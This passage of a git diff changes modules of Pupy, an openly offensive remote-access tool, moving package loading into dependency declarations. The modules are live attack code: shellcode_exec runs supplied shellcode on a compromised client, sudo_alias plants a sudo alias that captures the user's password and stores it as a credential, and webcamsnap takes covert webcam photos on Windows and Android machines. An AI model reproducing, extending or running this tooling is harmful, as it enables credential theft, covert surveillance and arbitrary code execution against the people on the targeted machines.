ShellcodeExec(PupyModule): """ executes the supplied shellcode on a client """ + dependencies = ['pupwinutils.shellcode'] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='shellcode_exec', description=self.__doc__) self.arg_parser.add_argument('path', help='Path to the shellcode to execute') def run(self, args): - self.client.load_package("pupwinutils.shellcode") with open(args.path ,'r') as sfile: shellcode = sfile.read() self.client.conn.modules['pupwinutils.shellcode'].exec_shellcode(shellcode) diff --git a/pupy/modules/ssh.py b/pupy/modules/ssh.py index 9a0be512..d76ac5d9 100644 --- a/pupy/modules/ssh.py +++ b/pupy/modules/ssh.py @@ -10,6 +10,10 @@ class SSH(PupyModule): max_clients=1 + dependencies = [ + 'paramiko', 'cryptography', 'ecdsa', 'ssh' + ] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="ssh", description=self.__doc__) self.arg_parser.add_argument('-u', '--user', default='', help='username') @@ -43,11 +47,6 @@ class SSH(PupyModule): self.error(error) return - self.client.load_package("paramiko") - self.client.load_package("cryptography") - self.client.load_package("ecdsa") - self.client.load_package("ssh") - error_code = False result = '' diff --git a/pupy/modules/sudo_alias.py b/pupy/modules/sudo_alias.py index 89e8ec3e..416dd4c5 100644 --- a/pupy/modules/sudo_alias.py +++ b/pupy/modules/sudo_alias.py @@ -8,12 +8,13 @@ __class_name__="SudoAlias" class SudoAlias(PupyModule): """ write an alias for sudo to retrieve user password """ + dependencies = ['sudo_alias'] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="sudo_alias", description=self.__doc__) self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump']) def run(self, args): - self.client.load_package("sudo_alias") if args.action=="start": if not self.client.conn.modules["sudo_alias"].sudo_alias_start(): self.error("the alias already exists") @@ -25,16 +26,16 @@ class SudoAlias(PupyModule): self.error("nothing find, be patient !") else: self.success("Sudo password found: %s" % data) - + # add password to the database username = data.split('/')[0] password = data.replace(username, '')[1:] db = Credentials() db.add([{'Login': username, 'password':password, 'CredType': 'plaintext', 'Category': 'System password', 'uid': self.client.short_name()}]) self.success("Credentials stored on the database") - + elif args.action=="stop": if not self.client.conn.modules["sudo_alias"].sudo_alias_stop(): self.error('the alias has not been created yet (run start)') else: - self.success('everyhing has been stopped and cleaned') \ No newline at end of file + self.success('everyhing has been stopped and cleaned') diff --git a/pupy/modules/webcamsnap.py b/pupy/modules/webcamsnap.py index 1b6d9188..61df011c 100644 --- a/pupy/modules/webcamsnap.py +++ b/pupy/modules/webcamsnap.py @@ -1,17 +1,17 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- # -------------------------------------------------------------- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # All rights reserved. -# +# # Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: -# +# # 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. -# +# # 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. -# +# # 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. -# +# # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE # -------------------------------------------------------------- @@ -40,6 +40,11 @@ def pil_save(filename, pixels, width, height): class WebcamSnapModule(PupyModule): """ take a webcam snap :) """ + dependencies = { + 'android': [ 'pupydroid.camera' ], + 'windows': [ 'vidcap' ] + } + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='webcam_snap', description=self.__doc__) self.arg_parser.add_argument('-d', '--device', type=int, default=0, help='take a webcam snap on a specific device (default: %(default)s)') @@ -54,20 +59,16 @@ class WebcamSnapModule(PupyModule): pass filepath=os.path.join("data","webcam_snaps","snap_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg") if self.client.is_windows(): - self.client.load_package("vidcap") dev=self.client.conn.modules['vidcap'].new_Dev(args.device,0) self.info("device %s exists, taking a snap ..."%args.device) buff, width, height = dev.getbuffer() pil_save(filepath, buff, width, height) elif self.client.is_android(): - self.client.load_package("pupydroid.camera") if args.nb_cameras == True: - print "[+] Number of cameras: {0}".format(self.client.conn.modules['pupydroid.camera'].numberOfCameras()) - data=self.client.conn.modules['pupydroid.camera'].take_picture(args.device, args.jpg_quality) + print "[+] Number of cameras: {0}".format(self.client.conn.modules['pupydroid.camera'].numberOfCamera) + data=self.client.conn.modules['pupydroid.camera'].take_picture(args.device, args.jpg_quality) with open(filepath,"w") as f: f.write(data) if args.view: subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath]) self.success("webcam picture saved to %s"%filepath) - - diff --git a/pupy/modules/zip.py b/pupy/modules/zip.py index 4a359caf..bfa1420d 100644 --- a/pupy/modules/zip.py +++ b/pupy/modules/zip.py @@ -1,4 +1,4 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- from pupylib.PupyModule import * from pupylib.utils.rpyc_utils import redirected_stdio @@ -8,6 +8,10 @@ __class_name__="Zip" class Zip(PupyModule): """ zip / unzip file or directory """ + dependencies = [ + 'pupyutils.zip' + ] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="zip", description=self.__doc__) self.arg_parser.add_argument('source', type=str, help='path of the source file or directory to zip') @@ -16,11 +20,10 @@ class Zip(PupyModule): self.arg_parser.add_argument('-d', dest='destination', help='path of the destination file (default: current directory)') def run(self, args): - self.client.load_package("pupyutils.zip") with redirected_stdio(self.client.conn): # zip if not args.u: self.client.conn.modules["pupyutils.zip"].zip(args.source, args.destination) # unzip else: - self.client.conn.modules["pupyutils.zip"].unzip(args.source, args.destination) \ No newline at end of file + self.client.conn.modules["pupyutils.zip"].unzip(args.source, args.destination)